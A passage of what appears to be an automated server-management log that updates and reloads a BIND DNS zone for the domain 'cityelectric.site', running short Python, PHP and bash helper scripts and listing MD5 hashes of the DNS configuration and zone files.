MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 32bb84ecc87899e527a2cce59643ab1e
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-18 16:34:16:
PUT: /tmp/pkp902186
#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam
#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'
uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
pass
PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:
line = fp.readline()
while line:
if HASH in line:
hash_present = True
break
line = fp.readline()
fp.close()
if not hash_present:
fp = open(LOCAL_FILE, 'a')
fp.write(PAYLOAD + "\n")
fp.close()
# call = old python, 'run' python 3.5+
subprocess.call(['rndc', 'reconfig'])
else:
subprocess.call(['rndc', 'freeze', ZONE_NAME ])
subprocess.call(['rndc', 'reload', ZONE_NAME ])
subprocess.call(['rndc', 'thaw', ZONE_NAME ])
time.sleep(3)
2025-11-18 16:34:16:
chmod 755 /tmp/pkp902186; /tmp/pkp902186; rm /tmp/pkp902186
2025-11-18 16:34:19:
rndc: 'freeze' failed: not dynamic
zone reload queued
STDERR:
rndc: 'freeze' failed: not dynamic
2025-11-18 16:34:19:
PUT: /tmp/pkp196836
#!/bin/bash
rndc reload cityelectric.site 2>&1
2025-11-18 16:34:19:
chmod 755 /tmp/pkp196836; /tmp/pkp196836; rm /tmp/pkp196836
2025-11-18 16:34:19:
zone reload up-to-date
2025-11-18 16:34:19: Establishing a connection
2025-11-18 16:34:19:
PUT: /tmp/pkp476508
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-18 16:34:19:
runuser -l bind -s /bin/bash -c '/tmp/pkp476508; rm /tmp/pkp476508'
2025-11-18 16:34:19:
2025-11-18 16:34:19:
PUT: /tmp/pkp506886
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-18 16:34:19:
chmod 755 /tmp/pkp506886; /tmp/pkp506886; rm /tmp/pkp506886
2025-11-18 16:34:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt 570
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
cityelectric.site. IN SOA cityelectric.site. hostmaster.cityelectric.site. ( 132696731 14400 3600 14400 3600 )
cityelectric.site. IN NS ns1.hostz.org.
cityelectric.site. IN NS ns2.hostz.org.
@ IN A 10.140.12.86
@ IN AAAA 2002:0a8c:0c56:0000:0000:0000:0000:0000
_acme-challenge 60 IN TXT "e70bvyizDy7mjcpjSMUe9Iok43ywIIc6FywMiO82lZc"
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-18 16:34:35: Establishing a connection
2025-11-18 16:34:35:
PUT: /tmp/pkp376077
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
